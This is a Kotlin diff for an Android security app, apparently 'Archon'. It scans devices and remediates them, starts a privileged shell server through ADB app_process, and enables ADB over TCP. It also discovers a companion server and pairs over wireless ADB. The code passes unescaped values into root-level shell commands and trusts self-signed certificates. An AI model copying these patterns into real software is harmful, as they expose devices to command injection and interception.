val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim()
val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim()
if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") {
findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)")
}
// Check VPN always-on
val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim()
if (vpn.isNotEmpty() && vpn != "null") {
findings.add("[!] Always-on VPN: $vpn")
}
// Check global proxy pac
val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim()
if (pac.isNotEmpty() && pac != "null") {
findings.add("[!] Proxy PAC configured: $pac")
}
return ModuleResult(
success = true,
output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)",
details = findings
)
}
// ── Remediation actions ─────────────────────────────────────────
private fun disableApp(pkg: String): ModuleResult {
val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}"
)
}
private fun uninstallApp(pkg: String): ModuleResult {
val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}"
)
}
private fun revokePermissions(pkg: String): ModuleResult {
val revoked = mutableListOf<String>()
for (perm in suspiciousPerms) {
val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
if (result.exitCode == 0) revoked.add(perm)
}
return ModuleResult(
success = true,
output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg",
details = revoked.map { "Revoked: $it" }
)
}
private fun removeDeviceAdmin(component: String): ModuleResult {
val result = PrivilegeManager.execute("dpm remove-active-admin $component")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}"
)
}
private fun clearProxy(): ModuleResult {
val result = PrivilegeManager.execute("settings put global http_proxy :0")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}"
)
}
private fun removeCertificate(hash: String): ModuleResult {
val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}"
)
}
}

View File

@@ -0,0 +1,371 @@
package com.darkhal.archon.server
import android.content.Context
import android.util.Log
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.ShellResult
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.OutputStreamWriter
import java.io.PrintWriter
import java.net.InetSocketAddress
import java.net.Socket
import java.util.UUID
import java.util.concurrent.atomic.AtomicBoolean
/**
* Client for the Archon privileged server process.
*
* Handles:
* - Bootstrapping the server via ADB (app_process command)
* - TCP socket communication with JSON protocol
* - Token-based authentication
* - Server lifecycle management
*/
object ArchonClient {
private const val TAG = "ArchonClient"
private const val DEFAULT_PORT = 17321
private const val PREFS_NAME = "archon_server"
private const val KEY_TOKEN = "server_token"
private const val KEY_PORT = "server_port"
private const val CONNECT_TIMEOUT = 3000
private const val READ_TIMEOUT = 30000
private val serverRunning = AtomicBoolean(false)
private var serverPid: Int = -1
/**
* Check if the Archon server is running and responding.
*/
fun isServerRunning(context: Context): Boolean {
val token = getToken(context) ?: return false
val port = getPort(context)
return try {
val result = sendCommand(token, port, "__ping__")
val alive = result.exitCode == 0 && result.stdout == "pong"
serverRunning.set(alive)
alive
} catch (e: Exception) {
serverRunning.set(false)
false
}
}
/**
* Get server info (UID, PID, uptime) if running.
*/
fun getServerInfo(context: Context): String? {
val token = getToken(context) ?: return null
val port = getPort(context)
return try {
val result = sendCommand(token, port, "__info__")
if (result.exitCode == 0) result.stdout else null
} catch (e: Exception) {
null
}
}
/**
* Start the Archon server via ADB.
*
* Bootstrap flow:
* 1. Get APK path from context
* 2. Generate random auth token
* 3. Build app_process command
* 4. Execute via LocalAdbClient or AUTARCH server ADB
* 5. Wait for server to start
* 6. Verify connection
*/
/**
* Check if any ArchonServer is alive on the port (no auth needed).
*/
fun isServerAlive(): Boolean {
return try {
val result = sendCommand("", DEFAULT_PORT, "__alive__", 3)
result.exitCode == 0 && result.stdout == "alive"
} catch (e: Exception) {
false
}
}
fun startServer(context: Context): StartResult {
// Check if a server is already running (possibly started from web UI)
if (isServerAlive()) {
Log.i(TAG, "Server already alive on port $DEFAULT_PORT")
// If we also have a valid token, verify full auth
if (isServerRunning(context)) {
val info = getServerInfo(context) ?: "running"
return StartResult(true, "Server already running: $info")
}
// Server alive but we don't have the right token
return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)")
}
// Generate new token for this session
val token = UUID.randomUUID().toString().replace("-", "").take(32)
val port = DEFAULT_PORT
// Save token and port
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_TOKEN, token)
.putInt(KEY_PORT, port)
.apply()
// Get APK path
val apkPath = context.applicationInfo.sourceDir
if (apkPath.isNullOrEmpty()) {
return StartResult(false, "Could not determine APK path")
}
// Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern)
// TMPDIR is needed so dalvik-cache can be created by shell user
val bootstrapCmd = buildString {
append("TMPDIR=/data/local/tmp ")
append("CLASSPATH='$apkPath' ")
append("/system/bin/app_process /system/bin ")
append("com.darkhal.archon.server.ArchonServer ")
append("$token $port")
}
// Wrap in nohup + background so it survives ADB disconnect
val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started"
Log.i(TAG, "Bootstrap command: $bootstrapCmd")
// Try to execute — LocalAdbClient first, then AUTARCH server USB ADB
val adbResult = if (LocalAdbClient.isConnected()) {
Log.i(TAG, "Starting server via LocalAdbClient")
val r = LocalAdbClient.execute(fullCmd)
Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}")
r
} else {
Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB")
val httpResult = startServerViaHttp(context, apkPath, token, port)
if (httpResult != null) {
Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}")
httpResult
} else {
Log.e(TAG, "Both ADB methods failed — no connection available")
return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging")
}
}
if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) {
Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}")
return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}")
}
// Wait for server to come up
Log.i(TAG, "Waiting for server to start...")
for (i in 1..10) {
Thread.sleep(500)
if (isServerRunning(context)) {
val info = getServerInfo(context) ?: "running"
Log.i(TAG, "Server started: $info")
return StartResult(true, "Server running: $info")
}
}
return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log")
}
/**
* Execute a shell command via the Archon server.
*/
fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult {
val token = getToken(context)
?: return ShellResult("", "No server token — start server first", -1)
val port = getPort(context)
return try {
sendCommand(token, port, command, timeoutSec)
} catch (e: Exception) {
Log.e(TAG, "Execute failed", e)
serverRunning.set(false)
ShellResult("", "Server communication error: ${e.message}", -1)
}
}
/**
* Stop the Archon server.
*/
fun stopServer(context: Context): Boolean {
val token = getToken(context) ?: return false
val port = getPort(context)
return try {
sendCommand(token, port, "__shutdown__")
serverRunning.set(false)
Log.i(TAG, "Server shutdown requested")
true
} catch (e: Exception) {
Log.e(TAG, "Stop failed", e)
false
}
}
/**
* Generate the bootstrap command string (for display/manual use).
*/
fun getBootstrapCommand(context: Context): String {
val token = getToken(context) ?: "TOKEN"
val port = getPort(context)
val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk"
return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " +
"com.darkhal.archon.server.ArchonServer $token $port"
}
// ── Internal ────────────────────────────────────────────────────
private fun getToken(context: Context): String? {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_TOKEN, null)
}
private fun getPort(context: Context): Int {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getInt(KEY_PORT, DEFAULT_PORT)
}
private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult {
val socket = Socket()
try {
socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT)
socket.soTimeout = (timeoutSec + 5) * 1000
val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true)
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
// Build JSON request
val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}"""
writer.println(request)
// Read JSON response
val response = reader.readLine()
?: return ShellResult("", "No response from server", -1)
return parseResponse(response)
} finally {
try { socket.close() } catch (e: Exception) { /* ignore */ }
}
}
private fun parseResponse(json: String): ShellResult {
val stdout = extractJsonString(json, "stdout") ?: ""
val stderr = extractJsonString(json, "stderr") ?: ""
val exitCode = extractJsonInt(json, "exit_code", -1)
return ShellResult(stdout, stderr, exitCode)
}
private fun extractJsonString(json: String, key: String): String? {
val search = "\"$key\""
var idx = json.indexOf(search)
if (idx < 0) return null
idx = json.indexOf(':', idx + search.length)
if (idx < 0) return null
idx++
while (idx < json.length && json[idx] == ' ') idx++
if (idx >= json.length || json[idx] != '"') return null
idx++
val sb = StringBuilder()
while (idx < json.length) {
val c = json[idx]
if (c == '\\' && idx + 1 < json.length) {
when (json[idx + 1]) {
'"' -> sb.append('"')
'\\' -> sb.append('\\')
'n' -> sb.append('\n')
'r' -> sb.append('\r')
't' -> sb.append('\t')
else -> sb.append(json[idx + 1])
}
idx += 2
} else if (c == '"') {
break
} else {
sb.append(c)
idx++
}
}
return sb.toString()
}
private fun extractJsonInt(json: String, key: String, default: Int): Int {
val search = "\"$key\""
var idx = json.indexOf(search)
if (idx < 0) return default
idx = json.indexOf(':', idx + search.length)
if (idx < 0) return default
idx++
while (idx < json.length && json[idx] == ' ') idx++
val sb = StringBuilder()
while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) {
sb.append(json[idx])
idx++
}
return sb.toString().toIntOrNull() ?: default
}
/**
* Bootstrap ArchonServer via AUTARCH server's USB ADB connection.
* Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device.
*/
private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? {
val serverIp = PrefsManager.getServerIp(context)
val serverPort = PrefsManager.getWebPort(context)
if (serverIp.isEmpty()) return null
return try {
val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap")
val conn = url.openConnection() as java.net.HttpURLConnection
com.darkhal.archon.util.SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}"""
Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort")
conn.outputStream.write(payload.toByteArray())
val code = conn.responseCode
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
conn.disconnect()
Log.i(TAG, "Bootstrap HTTP response: $code - $body")
if (code in 200..299) {
val stdout = extractJsonString(body, "stdout") ?: body
val stderr = extractJsonString(body, "stderr") ?: ""
val exitCode = extractJsonInt(body, "exit_code", 0)
ShellResult(stdout, stderr, exitCode)
} else {
Log.w(TAG, "Bootstrap returned HTTP $code: $body")
null
}
} catch (e: Exception) {
Log.w(TAG, "Bootstrap failed: ${e.message}")
null
}
}
private fun escapeJson(s: String): String {
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
}
data class StartResult(val success: Boolean, val message: String)
}

View File

@@ -0,0 +1,77 @@
package com.darkhal.archon.service
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.ShellResult
object AdbManager {
private const val ADBD_PROCESS = "adbd"
/**
* Enable ADB over TCP/IP on the specified port.
* Uses the best available privilege method.
*/
fun enableTcpMode(port: Int = 5555): ShellResult {
return PrivilegeManager.execute(
"setprop service.adb.tcp.port $port && stop adbd && start adbd"
)
}
/**
* Disable ADB TCP/IP mode, reverting to USB-only.
*/
fun disableTcpMode(): ShellResult {
return PrivilegeManager.execute(
"setprop service.adb.tcp.port -1 && stop adbd && start adbd"
)
}
/**
* Kill the ADB daemon.
*/
fun killServer(): ShellResult {
return PrivilegeManager.execute("stop adbd")
}
/**
* Restart the ADB daemon (stop then start).
*/
fun restartServer(): ShellResult {
return PrivilegeManager.execute("stop adbd && start adbd")
}
/**
* Check if the ADB daemon process is currently running.
*/
fun isRunning(): Boolean {
val result = ShellExecutor.execute("pidof $ADBD_PROCESS")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* Get the current ADB mode: "tcp" with port number, or "usb".
*/
fun getMode(): String {
val result = ShellExecutor.execute("getprop service.adb.tcp.port")
val port = result.stdout.trim()
return if (port.isNotEmpty() && port != "-1" && port != "0") {
"tcp:$port"
} else {
"usb"
}
}
/**
* Get a combined status map for display.
*/
fun getStatus(): Map<String, Any> {
val running = isRunning()
val mode = getMode()
return mapOf(
"running" to running,
"mode" to mode,
"tcp_enabled" to mode.startsWith("tcp")
)
}
}

View File

@@ -0,0 +1,416 @@
package com.darkhal.archon.service
import android.bluetooth.BluetoothAdapter
import android.bluetooth.BluetoothDevice
import android.bluetooth.BluetoothManager
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.net.nsd.NsdManager
import android.net.nsd.NsdServiceInfo
import android.net.wifi.WifiManager
import android.net.wifi.p2p.WifiP2pConfig
import android.net.wifi.p2p.WifiP2pDevice
import android.net.wifi.p2p.WifiP2pDeviceList
import android.net.wifi.p2p.WifiP2pInfo
import android.net.wifi.p2p.WifiP2pManager
import android.os.Handler
import android.os.Looper
import android.util.Log
/**
* Discovers AUTARCH servers on the network using three methods (priority order):
*
* 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable)
* 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists
* 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired)
*
* Usage:
* val discovery = DiscoveryManager(context)
* discovery.listener = object : DiscoveryManager.Listener { ... }
* discovery.startDiscovery()
* // ... later ...
* discovery.stopDiscovery()
*/
class DiscoveryManager(private val context: Context) {
companion object {
private const val TAG = "ArchonDiscovery"
private const val MDNS_SERVICE_TYPE = "_autarch._tcp."
private const val BT_TARGET_NAME = "AUTARCH"
private const val WIFIDIRECT_TARGET_NAME = "AUTARCH"
private const val DISCOVERY_TIMEOUT_MS = 15000L
}
// ── Result Data ─────────────────────────────────────────────────
data class DiscoveredServer(
val ip: String,
val port: Int,
val hostname: String,
val method: ConnectionMethod,
val extras: Map<String, String> = emptyMap()
)
enum class ConnectionMethod {
MDNS, // Found via mDNS on local network
WIFI_DIRECT, // Found via Wi-Fi Direct
BLUETOOTH // Found via Bluetooth
}
// ── Listener ────────────────────────────────────────────────────
interface Listener {
fun onServerFound(server: DiscoveredServer)
fun onDiscoveryStarted(method: ConnectionMethod)
fun onDiscoveryStopped(method: ConnectionMethod)
fun onDiscoveryError(method: ConnectionMethod, error: String)
}
var listener: Listener? = null
private val handler = Handler(Looper.getMainLooper())
// ── State ───────────────────────────────────────────────────────
private var mdnsRunning = false
private var wifiDirectRunning = false
private var bluetoothRunning = false
private var nsdManager: NsdManager? = null
private var discoveryListener: NsdManager.DiscoveryListener? = null
private var wifiP2pManager: WifiP2pManager? = null
private var wifiP2pChannel: WifiP2pManager.Channel? = null
private var bluetoothAdapter: BluetoothAdapter? = null
private val discoveredServers = mutableListOf<DiscoveredServer>()
// ── Public API ──────────────────────────────────────────────────
/**
* Start all available discovery methods in priority order.
* Results arrive via the [Listener] callback.
*/
fun startDiscovery() {
discoveredServers.clear()
startMdnsDiscovery()
startWifiDirectDiscovery()
startBluetoothDiscovery()
// Auto-stop after timeout
handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS)
}
/**
* Stop all discovery methods.
*/
fun stopDiscovery() {
stopMdnsDiscovery()
stopWifiDirectDiscovery()
stopBluetoothDiscovery()
}
/**
* Get all servers found so far.
*/
fun getDiscoveredServers(): List<DiscoveredServer> {
return discoveredServers.toList()
}
/**
* Get the best server (highest priority method).
*/
fun getBestServer(): DiscoveredServer? {
return discoveredServers.minByOrNull { it.method.ordinal }
}
// ── mDNS / NSD ─────────────────────────────────────────────────
private fun startMdnsDiscovery() {
if (mdnsRunning) return
try {
nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager
if (nsdManager == null) {
notifyError(ConnectionMethod.MDNS, "NSD service not available")
return
}
discoveryListener = object : NsdManager.DiscoveryListener {
override fun onDiscoveryStarted(serviceType: String) {
Log.d(TAG, "mDNS discovery started")
mdnsRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) }
}
override fun onServiceFound(serviceInfo: NsdServiceInfo) {
Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}")
// Resolve to get IP and port
nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener {
override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) {
Log.w(TAG, "mDNS resolve failed: $errorCode")
}
override fun onServiceResolved(info: NsdServiceInfo) {
val host = info.host?.hostAddress ?: return
val port = info.port
val hostname = info.attributes["hostname"]
?.let { String(it) } ?: info.serviceName
val server = DiscoveredServer(
ip = host,
port = port,
hostname = hostname,
method = ConnectionMethod.MDNS,
extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) }
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
Log.i(TAG, "mDNS: found AUTARCH at $host:$port")
}
})
}
override fun onServiceLost(serviceInfo: NsdServiceInfo) {
Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}")
}
override fun onDiscoveryStopped(serviceType: String) {
mdnsRunning = false
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) }
}
override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) {
mdnsRunning = false
notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)")
}
override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) {
Log.w(TAG, "mDNS stop failed: $errorCode")
}
}
nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener)
} catch (e: Exception) {
notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error")
}
}
private fun stopMdnsDiscovery() {
if (!mdnsRunning) return
try {
discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) }
} catch (e: Exception) {
Log.w(TAG, "mDNS stop error: ${e.message}")
}
mdnsRunning = false
}
// ── Wi-Fi Direct ────────────────────────────────────────────────
private val wifiP2pReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context, intent: Intent) {
when (intent.action) {
WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> {
// Peers list changed, request updated list
wifiP2pManager?.requestPeers(wifiP2pChannel) { peers ->
handleWifiDirectPeers(peers)
}
}
WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> {
wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info ->
handleWifiDirectConnection(info)
}
}
}
}
}
private fun startWifiDirectDiscovery() {
if (wifiDirectRunning) return
try {
wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager
if (wifiP2pManager == null) {
notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available")
return
}
wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null)
// Register receiver for Wi-Fi Direct events
val intentFilter = IntentFilter().apply {
addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION)
addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION)
addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION)
}
context.registerReceiver(wifiP2pReceiver, intentFilter)
wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener {
override fun onSuccess() {
wifiDirectRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) }
Log.d(TAG, "Wi-Fi Direct discovery started")
}
override fun onFailure(reason: Int) {
val msg = when (reason) {
WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported"
WifiP2pManager.BUSY -> "System busy"
WifiP2pManager.ERROR -> "Internal error"
else -> "Unknown error ($reason)"
}
notifyError(ConnectionMethod.WIFI_DIRECT, msg)
}
})
} catch (e: Exception) {
notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error")
}
}
private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) {
for (device in peers.deviceList) {
if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) {
Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})")
// Found an AUTARCH device — connect to get IP
connectWifiDirect(device)
}
}
}
private fun connectWifiDirect(device: WifiP2pDevice) {
val config = WifiP2pConfig().apply {
deviceAddress = device.deviceAddress
}
wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener {
override fun onSuccess() {
Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}")
}
override fun onFailure(reason: Int) {
Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)")
}
})
}
private fun handleWifiDirectConnection(info: WifiP2pInfo) {
if (info.groupFormed) {
val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return
// The group owner is the AUTARCH server
val server = DiscoveredServer(
ip = ownerAddress,
port = 8181, // Default — will be refined via mDNS or API call
hostname = "AUTARCH (Wi-Fi Direct)",
method = ConnectionMethod.WIFI_DIRECT
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress")
}
}
private fun stopWifiDirectDiscovery() {
if (!wifiDirectRunning) return
try {
wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null)
context.unregisterReceiver(wifiP2pReceiver)
} catch (e: Exception) {
Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}")
}
wifiDirectRunning = false
}
// ── Bluetooth ───────────────────────────────────────────────────
private val btReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context, intent: Intent) {
when (intent.action) {
BluetoothDevice.ACTION_FOUND -> {
val device = intent.getParcelableExtra<BluetoothDevice>(
BluetoothDevice.EXTRA_DEVICE
) ?: return
val name = try { device.name } catch (e: SecurityException) { null }
if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) {
Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})")
val server = DiscoveredServer(
ip = "", // BT doesn't give IP directly — use for pairing flow
port = 0,
hostname = name,
method = ConnectionMethod.BLUETOOTH,
extras = mapOf(
"bt_address" to device.address,
"bt_name" to name
)
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
}
}
BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> {
bluetoothRunning = false
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) }
}
}
}
}
private fun startBluetoothDiscovery() {
if (bluetoothRunning) return
try {
val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager
bluetoothAdapter = btManager?.adapter
if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) {
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled")
return
}
val intentFilter = IntentFilter().apply {
addAction(BluetoothDevice.ACTION_FOUND)
addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED)
}
context.registerReceiver(btReceiver, intentFilter)
val started = try {
bluetoothAdapter?.startDiscovery() == true
} catch (e: SecurityException) {
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied")
return
}
if (started) {
bluetoothRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) }
Log.d(TAG, "Bluetooth discovery started")
} else {
notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery")
}
} catch (e: Exception) {
notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error")
}
}
private fun stopBluetoothDiscovery() {
if (!bluetoothRunning) return
try {
bluetoothAdapter?.cancelDiscovery()
context.unregisterReceiver(btReceiver)
} catch (e: Exception) {
Log.w(TAG, "Bluetooth stop error: ${e.message}")
}
bluetoothRunning = false
}
// ── Helpers ─────────────────────────────────────────────────────
private fun notifyError(method: ConnectionMethod, error: String) {
Log.e(TAG, "${method.name}: $error")
handler.post { listener?.onDiscoveryError(method, error) }
}
}

View File

@@ -0,0 +1,391 @@
package com.darkhal.archon.service
import android.content.Context
import android.util.Base64
import android.util.Log
import com.darkhal.archon.util.ShellResult
import io.github.muntashirakon.adb.AbsAdbConnectionManager
import io.github.muntashirakon.adb.android.AdbMdns
import org.conscrypt.Conscrypt
import java.io.ByteArrayInputStream
import java.io.ByteArrayOutputStream
import java.math.BigInteger
import java.security.KeyFactory
import java.security.KeyPairGenerator
import java.security.PrivateKey
import java.security.SecureRandom
import java.security.Security
import java.security.Signature
import java.security.cert.Certificate
import java.security.cert.CertificateFactory
import java.security.spec.PKCS8EncodedKeySpec
import java.util.Calendar
import java.util.TimeZone
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicInteger
import android.os.Build
/**
* Self-contained local ADB client using libadb-android.
* Handles wireless debugging pairing, mDNS discovery, and shell command execution.
* No external ADB binary needed — pure Java/TLS implementation.
*/
object LocalAdbClient {
private const val TAG = "LocalAdbClient"
private const val PREFS_NAME = "archon_adb_keys"
private const val KEY_PRIVATE = "adb_private_key"
private const val KEY_CERTIFICATE = "adb_certificate"
private const val LOCALHOST = "127.0.0.1"
private var connectionManager: AbsAdbConnectionManager? = null
private var connected = AtomicBoolean(false)
private var connectedPort = AtomicInteger(0)
init {
// Install Conscrypt as the default TLS provider for TLSv1.3 support
Security.insertProviderAt(Conscrypt.newProvider(), 1)
}
/**
* Check if we have a stored ADB key pair (device has been paired before).
*/
fun hasKeyPair(context: Context): Boolean {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE)
}
/**
* Generate a new RSA-2048 key pair for ADB authentication.
* Stored in SharedPreferences.
*/
fun generateKeyPair(context: Context) {
val kpg = KeyPairGenerator.getInstance("RSA")
kpg.initialize(2048)
val keyPair = kpg.generateKeyPair()
// Generate self-signed certificate using Android's built-in X509 support
val certificate = generateSelfSignedCert(keyPair)
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP))
.putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP))
.apply()
Log.i(TAG, "Generated new ADB key pair")
}
/**
* Generate a self-signed X.509 v3 certificate for ADB authentication.
* Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed.
*/
private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate {
val serial = BigInteger(64, SecureRandom())
val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
notAfter.add(Calendar.YEAR, 25)
// DN: CN=adb_archon
val dn = derSequence(derSet(derSequence(
derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN
derUtf8String("adb_archon")
)))
// SHA256withRSA algorithm identifier
// OID 1.2.840.113549.1.1.11
val sha256WithRsa = byteArrayOf(
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(),
0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below
)
// Correct OID bytes for 1.2.840.113549.1.1.11
val sha256RsaOid = byteArrayOf(
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(),
0x0D, 0x01, 0x01, 0x0B
)
val algId = derSequence(derOid(sha256RsaOid), derNull())
// SubjectPublicKeyInfo — re-use the encoded form from the key
val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo
// TBSCertificate
val tbs = derSequence(
derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3
derInteger(serial),
algId,
dn, // issuer
derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity
dn, // subject = issuer (self-signed)
spki // subjectPublicKeyInfo
)
// Sign the TBS
val sig = Signature.getInstance("SHA256withRSA")
sig.initSign(keyPair.private)
sig.update(tbs)
val signature = sig.sign()
// Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) }
val certDer = derSequence(tbs, algId, derBitString(signature))
